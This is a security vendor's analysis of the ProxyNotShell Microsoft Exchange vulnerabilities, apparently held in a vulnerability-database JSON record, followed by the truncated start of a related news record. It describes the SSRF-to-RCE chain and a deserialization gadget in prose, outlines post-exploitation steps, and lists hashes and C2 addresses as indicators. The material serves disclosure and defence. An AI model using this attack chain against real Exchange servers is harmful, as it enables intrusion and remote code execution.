## Summary
At the end of September, GTSC reported an attack on critical infrastructure that took place in August. During the investigation, experts found that two 0-day vulnerabilities in Microsoft Exchange Server were used in the attack. The first one, later identified as CVE-2022-41040, is a server-side request forgery (SSRF) vulnerability that allows an authenticated attacker to remotely trigger the next vulnerability – CVE-2022-41082. The second vulnerability, in turn, allows remote code execution (RCE) when MS Exchange PowerShell is accessible to the attacker. As noted in the GTSC report, both vulnerabilities were exploited together in the wild to create a backdoor on a vulnerable server, and perform lateral movement.
After CVE-2022-41040 and CVE-2022-41082 were revealed, Microsoft provided [mitigation guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) followed by a few updates. According to the company, the vulnerabilities affect MS Exchange Server 2013, MS Exchange Server 2016 and MS Exchange Server 2019.
On October 11, 2022, Microsoft released patches to cover these vulnerabilities as part of its Patch Tuesday update. After that, on November 17, a security researcher published the first working PoC. It was a Python script that accepts the following parameters: user, password, mail address and command line to be executed on the victim's host.
The cybersecurity community dubbed the pair of vulnerabilities **ProxyNotShell**. The name refers to a recent ProxyShell attack chain containing similar vulnerabilities in Exchange Servers that were disclosed in 2021. ProxyShell is a set of three vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207. Attackers used them to create web shells and execute arbitrary code on vulnerable Microsoft Exchange Servers.
## ProxyNotShell exploitation details
The first step in this attack is exploiting **CVE-2022-41040** to get access to the PowerShell API endpoint. Using an insufficient filtering of input data in the Exchange **Autodiscover** mechanism, an attacker with a known login and password combination for a registered account, can gain access to the privileged endpoint of the Exchange Server API (**https://%_exchange server domain%_/powershell)**. This access allows the attacker to execute PowerShell commands in Exchange's environment on the server machine, passing them in the payload via the XML SOAP protocol.
At the next step, the attacker must get access to **Web-Based Enterprise Management (WBEM)** via the **WSMAN Protocol**. The attacker initiates the shell on the vulnerable system for further PowerShell script execution via **Windows Remote Management (PsRemoting)**.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083206/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_01.png>)
**_HTTP POST request with XML SOAP to initiate PsRemoting_**
After initiation of the shell, the attacker should immediately extend its lifetime; otherwise, the shell will be closed as its expiration time is too short by default. This is necessary for further command execution on Exchange Server. To do that the attacker immediately sends a special request via **WSMAN** that enables the **keep alive** option.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083245/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_02.png>)
**_HTTP POST request with XML SOAP to extend the shell's lifetime_**
After that, the attacker exploits a second vulnerability – **CVE-2022-41082**. By using PowerShell Remoting the attacker sends a request to create an address book, passing encoded and serialized data with a special payload as a parameter. In a published PoC, this encoded data contains a gadget called **System.UnitySerializationHolder** that spawns an object of the **System.Windows.Markup.XamlReader** class. This class processes XAML data from a payload, which creates a new object of the **System.Diagnostics** class and contains a method call to open a new process on the target system. In the published PoC, this process is **calc.exe**.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083322/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_03.png>)
**_HTTP POST request with XML SOAP to start new process_**
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083400/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_04.png>)
**_Main payload portion that executes the calc.exe process_**
## ProxyNotShell post exploitation
A few weeks later after the vulnerability was disclosed, Kaspersky detected a successful exploitation of **ProxyNotShell** in the wild. The actor performed the following actions:
* Reconnaissance (users, groups, domains)
* Various hijack attempts (even dropping vulnerable binaries)
* Remote process injection
* Persistence
* Reverse shell
In this case, the attacker had the credentials to perform such an intrusion. They exploited the company's Exchange Server and as a result were able to create any process they wanted on the Exchange machine, passing commands as a payload.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19095522/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_05.png>)
On the server side all processes that are started via exploitation have a main parent process with certain parameters: **w3wp.exe -ap "msexchangepowershellapppool".**
These post-exploitation steps of the attack are very similar to the steps in the attack reported by [TrendMicro](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.trendmicro.com%2Fpl_pl%2Fresearch%2F22%2Fg%2Flog4shell-vulnerability-in-vmware-leads-to-data-exfiltration-and-ransomware.html&data=05%7C01%7Cmapp%40microsoft.com%7C6ea0cb7fcd7d4d2ea92808dab12e25ff%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C638017110445189023%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000%7C%7C%7C&sdata=O5D%2B8%2BG%2F%2BthCuhizLONIBuphB6uNAL%2Fp%2BrWWkWfQGa0%3D&reserved=0>), with the only difference being the vulnerabilities that are exploited.
Our products protect against all of these post exploitation steps as well as other attacks leveraging the **CVE-2022-41040** and **CVE-2022-41082** vulnerabilities. The detection name for **ProxyNotShell** is **PDM:Exploit.Win32.Generic**.
## Our recommendations
A few words of advice to those worried about possible exploitation of ProxyNotShell or other 0-day vulnerabilities:
* Focus your defense strategy on detecting lateral movement and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections.
* Use the latest [Threat Intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) data to stay aware of actual TTPs used by threat actors.
* Use a security solution with exploit prevention, vulnerability and patch management components, such as Kaspersky Endpoint Security for Business. Our [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) component monitors suspicious actions by applications and blocks the execution of malicious files.
* Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) that identify and stop attacks in the early stages.
## Indicators of compromise
F77E55FD56FDAD21766CAA9C896734E9 | LockDown.dll | Malware hijack library | Trojan.Win64.Dllhijacker
---|---|---|---
F9322EAD69300501356B13D751165DAA | mfeann.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic
A2FAE32F116870E5A94B5FAB50A1CB71 | Svchosts.exe | Malware reverse proxy | Trojan.Win64.Agent.qwibok
HEUR:HackTool.Win64.Proxy.gen
47A0814408210E6FCA502B3799B3952B | Glib-2.0.dll | Malware hijack library | Trojan.Win64.Dllhijacker
379F87DAA6A23400ADF19C1CDD6B0DC9 | vmwarexferlogs.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic
193.149.185.52:443 | С2 server
sync.service.auzreservices.com | С2 server
{"id": "SECURELIST:0D5B4F09314C45AF952E2FD68F88B8D0", "vendorId": null, "type": "securelist", "bulletinFamily": "blog", "title": "CVE-2022-41040 and CVE-2022-41082 \u2013 zero-days in MS Exchange", "description": "\n\n## Summary\n\nAt the end of September, GTSC reported an attack on critical infrastructure that took place in August. During the investigation, experts found that two 0-day vulnerabilities in Microsoft Exchange Server were used in the attack. The first one, later identified as CVE-2022-41040, is a server-side request forgery (SSRF) vulnerability that allows an authenticated attacker to remotely trigger the next vulnerability \u2013 CVE-2022-41082. The second vulnerability, in turn, allows remote code execution (RCE) when MS Exchange PowerShell is accessible to the attacker. As noted in the GTSC report, both vulnerabilities were exploited together in the wild to create a backdoor on a vulnerable server, and perform lateral movement.\n\nAfter CVE-2022-41040 and CVE-2022-41082 were revealed, Microsoft provided [mitigation guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) followed by a few updates. According to the company, the vulnerabilities affect MS Exchange Server 2013, MS Exchange Server 2016 and MS Exchange Server 2019.\n\nOn October 11, 2022, Microsoft released patches to cover these vulnerabilities as part of its Patch Tuesday update. After that, on November 17, a security researcher published the first working PoC. It was a Python script that accepts the following parameters: user, password, mail address and command line to be executed on the victim's host.\n\nThe cybersecurity community dubbed the pair of vulnerabilities **ProxyNotShell**. The name refers to a recent ProxyShell attack chain containing similar vulnerabilities in Exchange Servers that were disclosed in 2021. ProxyShell is a set of three vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207. Attackers used them to create web shells and execute arbitrary code on vulnerable Microsoft Exchange Servers.\n\n## ProxyNotShell exploitation details\n\nThe first step in this attack is exploiting **CVE-2022-41040** to get access to the PowerShell API endpoint. Using an insufficient filtering of input data in the Exchange **Autodiscover** mechanism, an attacker with a known login and password combination for a registered account, can gain access to the privileged endpoint of the Exchange Server API (**https://%_exchange server domain%_/powershell)**. This access allows the attacker to execute PowerShell commands in Exchange's environment on the server machine, passing them in the payload via the XML SOAP protocol.\n\nAt the next step, the attacker must get access to **Web-Based Enterprise Management (WBEM)** via the **WSMAN Protocol**. The attacker initiates the shell on the vulnerable system for further PowerShell script execution via **Windows Remote Management (PsRemoting)**.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083206/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_01.png>)\n\n**_HTTP POST request with XML SOAP to initiate PsRemoting_**\n\nAfter initiation of the shell, the attacker should immediately extend its lifetime; otherwise, the shell will be closed as its expiration time is too short by default. This is necessary for further command execution on Exchange Server. To do that the attacker immediately sends a special request via **WSMAN** that enables the **keep alive** option.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083245/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_02.png>)\n\n**_HTTP POST request with XML SOAP to extend the shell's lifetime_**\n\nAfter that, the attacker exploits a second vulnerability \u2013 **CVE-2022-41082**. By using PowerShell Remoting the attacker sends a request to create an address book, passing encoded and serialized data with a special payload as a parameter. In a published PoC, this encoded data contains a gadget called **System.UnitySerializationHolder** that spawns an object of the **System.Windows.Markup.XamlReader** class. This class processes XAML data from a payload, which creates a new object of the **System.Diagnostics** class and contains a method call to open a new process on the target system. In the published PoC, this process is **calc.exe**.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083322/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_03.png>)\n\n**_HTTP POST request with XML SOAP to start new process_**\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19083400/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_04.png>)\n\n**_Main payload portion that executes the calc.exe process_**\n\n## ProxyNotShell post exploitation\n\nA few weeks later after the vulnerability was disclosed, Kaspersky detected a successful exploitation of **ProxyNotShell** in the wild. The actor performed the following actions:\n\n * Reconnaissance (users, groups, domains)\n * Various hijack attempts (even dropping vulnerable binaries)\n * Remote process injection\n * Persistence\n * Reverse shell\n\nIn this case, the attacker had the credentials to perform such an intrusion. They exploited the company's Exchange Server and as a result were able to create any process they wanted on the Exchange machine, passing commands as a payload.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/12/19095522/Vulnerabilities_CVE-2022-41040_and_CVE-2022-41082_in_MS_Exchange_05.png>)\n\nOn the server side all processes that are started via exploitation have a main parent process with certain parameters: **w3wp.exe -ap "msexchangepowershellapppool".**\n\nThese post-exploitation steps of the attack are very similar to the steps in the attack reported by [TrendMicro](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.trendmicro.com%2Fpl_pl%2Fresearch%2F22%2Fg%2Flog4shell-vulnerability-in-vmware-leads-to-data-exfiltration-and-ransomware.html&data=05%7C01%7Cmapp%40microsoft.com%7C6ea0cb7fcd7d4d2ea92808dab12e25ff%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C638017110445189023%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000%7C%7C%7C&sdata=O5D%2B8%2BG%2F%2BthCuhizLONIBuphB6uNAL%2Fp%2BrWWkWfQGa0%3D&reserved=0>), with the only difference being the vulnerabilities that are exploited.\n\nOur products protect against all of these post exploitation steps as well as other attacks leveraging the **CVE-2022-41040** and **CVE-2022-41082** vulnerabilities. The detection name for **ProxyNotShell** is **PDM:Exploit.Win32.Generic**.\n\n## Our recommendations\n\nA few words of advice to those worried about possible exploitation of ProxyNotShell or other 0-day vulnerabilities:\n\n * Focus your defense strategy on detecting lateral movement and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections.\n * Use the latest [Threat Intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) data to stay aware of actual TTPs used by threat actors.\n * Use a security solution with exploit prevention, vulnerability and patch management components, such as Kaspersky Endpoint Security for Business. Our [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) component monitors suspicious actions by applications and blocks the execution of malicious files.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) that identify and stop attacks in the early stages.\n\n## Indicators of compromise\n\nF77E55FD56FDAD21766CAA9C896734E9 | LockDown.dll | Malware hijack library | Trojan.Win64.Dllhijacker \n---|---|---|--- \nF9322EAD69300501356B13D751165DAA | mfeann.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic \nA2FAE32F116870E5A94B5FAB50A1CB71 | Svchosts.exe | Malware reverse proxy | Trojan.Win64.Agent.qwibok \nHEUR:HackTool.Win64.Proxy.gen \n47A0814408210E6FCA502B3799B3952B | Glib-2.0.dll | Malware hijack library | Trojan.Win64.Dllhijacker \n379F87DAA6A23400ADF19C1CDD6B0DC9 | vmwarexferlogs.exe | Dropped vulnerable binary for DLL hijack | PDM:Exploit.Win32.Generic \n193.149.185.52:443 | \u04212 server \nsync.service.auzreservices.com | \u04212 server", "published": "2022-12-19T16:15:49", "modified": "2022-12-19T16:15:49", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://securelist.com/cve-2022-41040-and-cve-2022-41082-zero-days-in-ms-exchange/108364/", "reporter": "Vitaly Morgunov, Dmitry Kondratyev, Alexander Kolesnikov, Alexey Kulaev", "references": [], "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "immutableFields": [], "lastseen": "2022-12-19T16:54:06", "viewCount": 761, "enchantments": {"dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:0287B84AF09C377FDC8D475774722858"]}, {"type": "attackerkb", "idList": ["AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "AKB:5E706DDA-98EC-49CA-AB21-4814DAF26444", "AKB:6F1D646E-2CDB-4382-A212-30728A7DB899", "AKB:9EA74C88-E0C0-4B13-802D-551307F35B3F", "AKB:B18222FB-1EF5-4D55-899B-61BD7ECF0FAA", "AKB:BDCF4DDE-714E-40C0-B4D9-2B4ECBAD31FF", "AKB:C4CD066B-E590-48F0-96A7-FFFAFC3D23CC"]}, {"type": "avleonov", "idList": ["AVLEONOV:4E65E4AC928647D5E246B06B953BBC6F", "AVLEONOV:58634A9ABF4922115976139024831EB9", "AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34", "AVLEONOV:B4AA36B0AF8AA2D059C914E5F2B15CC0"]}, {"type": "cert", "idList": ["VU:915563"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0476", "CPAI-2021-0900", "CPAI-2022-0628"]}, {"type": "cisa", "idList": ["CISA:8C51810D4AACDCCDBF9D526B4C21660C", "CISA:8ED5E84007437E9B88D2418732B63E04"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2021-31207", "CISA-KEV-CVE-2021-34473", "CISA-KEV-CVE-2021-34523", "CISA-KEV-CVE-2022-41040", "CISA-KEV-CVE-2022-41082"]}, {"type": "cnvd", "idList": ["CNVD-2022-67837", "CNVD-2022-67838"]}, {"type": "cve", "idList": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"]}, {"type": "fireeye", "idList": ["FIREEYE:FC60CAB5C936FF70E94A7C9307805695"]}, {"type": "githubexploit", "idList": ["031A1BA5-EA1C-586D-8614-7558CCA5FCCB", "04705DD0-6F67-5847-B368-4ADB734EC12B", "0A015784-48D7-5DC1-9FB9-416A9BBEA6D5", "0A2301E7-88D2-55E7-BB5D-7889B2D2ACFD", "0AA01487-E0E5-59CB-9A45-A5DE55F290A6", "0E54CE3B-3E70-59B7-BB6B-AC20C8611B38", "17DBAF5D-D221-53A1-8663-721B510E680E", "1FD14DF4-7723-5B40-A7BA-4E86B6E51603", "2BEFA353-947D-5B41-AE38-EDB0C71B5B44", "2D0AC1C7-F656-5D6B-9FC2-79525014BE1E", "2DFE744C-4369-56D5-9FEA-348B4150C298", "3410A018-A761-5411-8E58-892F756D299A", "346026AA-22B5-5F79-9544-28E8E7CFE3F2", "3722FF3F-D30D-5D5C-802E-EEA4963C6848", "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "480AA36A-BFDC-54DD-AE13-43A3FE97ADCE", "4AC49DB9-A784-561B-BF92-94209310B51B", "553EF29F-6CB4-5F8F-91AD-85FC945A94E0", "58C7CDFB-F328-57B4-ACE6-CA3966DB0EEB", "5C16D945-0879-5E51-B2AF-B106F633656A", "5D652B55-850E-5043-96F0-43DE64B98D34", "6064317C-299E-530F-81F1-F80C282AE68A", "6776EABD-28C1-5A42-8AB2-27BD7F492078", "6E208382-5651-5649-B6C1-F9EF3A08EA81", "87179042-CF32-5495-87D0-B916B42259D2", "9905FF79-0EE2-5313-9486-DA71B70A3D88", "9945D2DB-9314-5400-8C2B-94D4BD603DD9", "B3DDE0DD-F0B0-542D-8154-F61DCD2E49D9", "B6C642BC-915E-52EA-80B0-BC40EDC884CC", "B8464218-31FA-569A-AC74-26B347DEC285", "BC7AA745-CDB6-554E-B6CC-A50E97B7ECE5", "CF3485E1-2E99-580B-BC50-D61EA587BA40", "D52F3F41-2E8A-5FC2-AA35-BC6707158F1A", "D58D53CD-D047-5570-B473-DEFF8E3B0225", "E4395A48-164E-527F-8B5B-1A44D3F379B6", "E458F533-4B97-51A1-897B-1AF58218F2BF", "F00E8BE4-12D2-5F5B-A9AA-D627780259FB", "F14BCE6F-3415-59C7-AC9D-A5D7ABE1BB8E", "FE6D7F99-F6AF-559F-93A5-786367B77158"]}, {"type": "hackerone", "idList": ["H1:1719719"]}, {"type": "hackread", "idList": ["HACKREAD:E34C6E8908AE56B0B1176B1237BFDF36"]}, {"type": "hivepro", "idList": ["HIVEPRO:09525E3475AC1C5F429611A90182E82F", "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "HIVEPRO:186D6EE394314F861D57F4243E31E975", "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "HIVEPRO:B4C85BEFF3E49468BE44E35CEC3A7DE6", "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "HIVEPRO:F2305684A25C735549865536AA4254BF"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:2303181B17E64D6C752ACD64C5A2B39C"]}, {"type": "kaspersky", "idList": ["KLA12169", "KLA12224", "KLA19264"]}, {"type": "krebs", "idList": ["KREBS:6E25B247DFBFC9267C00F36CE0695768", "KREBS:831FD0B726B800B2995A68BA50BD8BE3", "KREBS:E910A9996E07E6C63E0C32D6520D0F25"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "MALWAREBYTES:A165959E3A462AF8315F01F1020BBF53", "MALWAREBYTES:B0C4B025BF22D777A196390CAE7FC07F", "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "MALWAREBYTES:B8C767042833344389F6158273089954", "MALWAREBYTES:DDF3883C3A8B9A70629872FE83522C17"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYNOTSHELL_RCE-", "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYSHELL_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:27EEFD67E5E7E712750B1472E15C5A0B", "MMPC:42ECD98DCF925DC4063DE66F75FB5433", "MMPC:C857BFAD4920FD5B25BF42D5469945F6"]}, {"type": "mscve", "idList": ["MS:CVE-2021-31196", "MS:CVE-2021-31206", "MS:CVE-2021-31207", "MS:CVE-2021-33768", "MS:CVE-2021-34470", "MS:CVE-2021-34473", "MS:CVE-2021-34523", "MS:CVE-2022-41040", "MS:CVE-2022-41082"]}, {"type": "mskb", "idList": ["KB5001779", "KB5003435", "KB5019758"]}, {"type": "msrc", "idList": ["MSRC:4F7507AA26F4DEB78152DE764136012C"]}, {"type": "mssecure", "idList": ["MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "MSSECURE:42ECD98DCF925DC4063DE66F75FB5433", "MSSECURE:C857BFAD4920FD5B25BF42D5469945F6"]}, {"type": "nessus", "idList": ["EXCHANGE_CVE-2022-41040_IOC.NBIN", "EXCHANGE_PROXYSHELL.NBIN", "SMB_NT_MS21_APR_EXCHANGE.NASL", "SMB_NT_MS21_MAY_EXCHANGE.NASL", "SMB_NT_MS22_NOV_EXCHANGE.NASL", "SMB_NT_MS22_OCT_EXCHANGE_ZERODAY.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163895", "PACKETSTORM:170066"]}, {"type": "pentestpartners", "idList": ["PENTESTPARTNERS:77A7D085A837F9542DA633DA83F4A446"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:5A5DF56C2B4E5DB4176574A83F54FECB", "QUALYSBLOG:69FF0F583C65CD2D1EB59914BE41A705", "QUALYSBLOG:89B0E9C4C12FFA944639C5B7B34594DB", "QUALYSBLOG:9E3CACCA2916D132C2D630A8C15119F3", "QUALYSBLOG:A8EE36FB3E891C73934CB1C60E3B3D41", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:DC0F3E59C4DA6EB885E6BCAB292BCA7D", "QUALYSBLOG:F062F85432853297A014064EA7A5C183"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "RAPID7BLOG:0451F386C3F603C8DC3AE2E3F42A90D1", "RAPID7BLOG:05A653A5E863B78EDD56FD74F059E02E", "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:5DB8D1BDA8397518E9A820552610B197", "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "RAPID7BLOG:90A5B4252807D9A3550CB8449AA62109", "RAPID7BLOG:B37CF2E44EB6AA38B417BB09297CD3E1", "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720"]}, {"type": "securelist", "idList": ["SECURELIST:C1F2E1B6711C8D84F3E78D203B3CE837", "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48"]}, {"type": "talosblog", "idList": ["TALOSBLOG:12103F398364269083FD96139F0F6562", "TALOSBLOG:A0B0983119E043D75EA7712A7172A942", "TALOSBLOG:A52D0C18F59637804E33FC802E4F7F00", "TALOSBLOG:FB5080C7655BA3C4C2856F34457CBCD0"]}, {"type": "thn", "idList": ["THN:0521233945B9471C64D546BD2B006823", "THN:0D80EEB03C07D557AA62E071C7A7C619", "THN:25143CA85A0297381CEBBBD35F24F85B", "THN:31DAA0B9538D69BB42EFB6567298FF49", "THN:5293CFD6ACCF7BFD2EDDE976C7C06C15", "THN:54023E40C0AA4CB15793A39F3AF102AB", "THN:5BE77895D84D1FB816C73BB1661CE8EB", "THN:6B72050A86FFDCE9A0B2CF6F44293A1B", "THN:802C6445DD27FFC7978D22CC3182AD58", "THN:8200D2C2E1DD329D680C5E699177551B", "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "THN:9FD8A70F9C17C3AF089A104965E48C95", "THN:A5B36072ED31304F26AF0879E3E5710E", "THN:C3B82BB0558CF33CFDC326E596AF69C4", "THN:E95B6A75073DA71CEC73B2E4F0B13622", "THN:FA40708E1565483D14F9A31FC019FCE1"]}, {"type": "threatpost", "idList": ["THREATPOST:1CEC18436389CF557E4D0F83AE022A53", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:52923238811C7BFD39E0529C85317249", "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "THREATPOST:836083DB3E61D979644AE68257229776", "THREATPOST:83C349A256695022C2417F465CEB3BB2", "THREATPOST:98D815423018872E6E596DAA8131BF3F", "THREATPOST:A2FE619CD27EBEC2F6B0C62ED026F02C", "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496"]}, {"type": "wordfence", "idList": ["WORDFENCE:035A383C0D3B38D6EEBF9FE95D1A356D"]}, {"type": "zdi", "idList": ["ZDI-21-819", "ZDI-21-821", "ZDI-21-822", "ZDI-22-1595", "ZDI-22-1624", "ZDI-22-1625", "ZDI-22-1626", "ZDI-22-1627", "ZDI-22-1628", "ZDI-22-1629", "ZDI-22-1630", "ZDI-22-1631", "ZDI-22-1632", "ZDI-22-1633", "ZDI-22-1634", "ZDI-22-1635", "ZDI-22-1636", "ZDI-22-1637", "ZDI-22-1638", "ZDI-22-1639", "ZDI-22-1640", "ZDI-22-1641", "ZDI-22-1642", "ZDI-22-1643", "ZDI-22-1644", "ZDI-22-1645", "ZDI-22-1646", "ZDI-22-1647", "ZDI-22-1648", "ZDI-22-1649", "ZDI-22-1650", "ZDI-22-1651", "ZDI-22-1652", "ZDI-22-1653", "ZDI-22-1654"]}, {"type": "zdt", "idList": ["1337DAY-ID-36667"]}]}, "score": {"value": 1.1, "vector": "NONE"}, "epss": [{"cve": "CVE-2021-31207", "epss": "0.971850000", "percentile": "0.996480000", "modified": "2023-03-20"}, {"cve": "CVE-2021-34473", "epss": "0.974090000", "percentile": "0.998480000", "modified": "2023-03-20"}, {"cve": "CVE-2021-34523", "epss": "0.975070000", "percentile": "0.999600000", "modified": "2023-03-20"}, {"cve": "CVE-2022-41040", "epss": "0.951500000", "percentile": "0.988570000", "modified": "2023-03-20"}, {"cve": "CVE-2022-41082", "epss": "0.970140000", "percentile": "0.995470000", "modified": "2023-03-20"}], "vulnersScore": 1.1}, "_state": {"dependencies": 1671468895, "score": 1684017724, "epss": 1679353574}, "_internal": {"score_hash": "f66e55f378b7d74f37a9911b3aaaff00"}}
{"thn": [{"lastseen": "2022-10-04T12:04:40", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e100/proxynotshell.jpg>)\n\nNicknamed ProxyNotShell, a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery (SSRF) vulnerability CVE-2022-41040 and a second vulnerability, CVE-2022-41082 that allows Remote Code Execution (RCE) when PowerShell is available to unidentified attackers.\n\nBased on ProxyShell, this new zero-day abuse risk leverage a chained attack similar to the one used in the 2021 ProxyShell attack that exploited the combination of multiple vulnerabilities - CVE-2021-34523, CVE-2021-34473, and CVE-2021-31207 \u2013 to permit a remote actor to execute arbitrary code.\n\nDespite the potential severity of attacks using them, ProxyShell vulnerabilities are still on CISA's list of top 2021 routinely exploited vulnerabilities.\n\n## Meet ProxyNotShell \n\nRecorded on September 19, 2022, CVE-2022-41082 is an attack vector targeting Microsoft's Exchange Servers, enabling attacks of low complexity with low privileges required. Impacted services, if vulnerable, enable an authenticated attacker to compromise the underlying exchange server by leveraging existing 